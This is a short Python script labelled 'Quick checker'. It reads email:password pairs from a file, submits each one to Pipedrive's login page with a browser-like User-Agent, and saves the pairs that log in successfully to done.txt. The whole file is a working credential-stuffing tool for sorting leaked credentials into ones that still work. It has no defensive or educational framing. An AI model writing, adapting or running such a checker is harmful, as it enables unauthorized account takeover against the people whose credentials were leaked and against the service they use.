#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Quick checker - tests credentials and saves working ones to done.txt
"""

import requests
import time

LOGIN_URL = "https://app.pipedrive.com/auth/login"
INPUT_FILE = "verified.txt"  # Change this to your file
OUTPUT_FILE = "done.txt"
DELAY = 1

def test_credential(email, password):
    """Test one credential"""
    session = requests.Session()
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
        'Accept': 'text/html,application/xhtml+xml',
    }
    
    try:
        session.get(LOGIN_URL, headers=headers, timeout=5)
        login_data = {'email': email, 'password': password, 'remember_me': 'true'}
        response = session.post(LOGIN_URL, data=login_data, headers=headers, allow_redirects=True, timeout=5)
        
        if '/auth/login' in response.url:
            return False
        elif '/app/' in response.url or '/deals' in response.url:
            return True
        return False
    except:
        return False

print("=" * 60)
print("QUICK CHECKER")
print("=" * 60)
print(f"Input: {INPUT_FILE}")
print(f"Output: {OUTPUT_FILE}")
print("=" * 60)

try:
    with open(INPUT_FILE, 'r', encoding='utf-8') as f:
        lines = [line.strip() for line in f if line.strip()]
except:
    print(f"Error: {INPUT_FILE} not found!")
    exit(1)

total = len(lines)
working = 0

print(f"\nTesting {total} credentials...\n")

for i, line in enumerate(lines, 1):
    if ':' not in line:
        continue
    
    email, password = line.split(':', 1)
    print(f"[{i}/{total}] {email[:40]:<40} ", end="", flush=True)
    
    if test_credential(email, password):
        print("✓ WORKING")
        with open(OUTPUT_FILE, 'a', encoding='utf-8') as f:
            f.write(f"{email}:{password}\n")
        working += 1
    else:
        print("✗")
    
    if i < total:
        time.sleep(DELAY)

print("\n" + "=" * 60)
print(f"RESULTS: {working} working → saved to {OUTPUT_FILE}")
print("=" * 60)

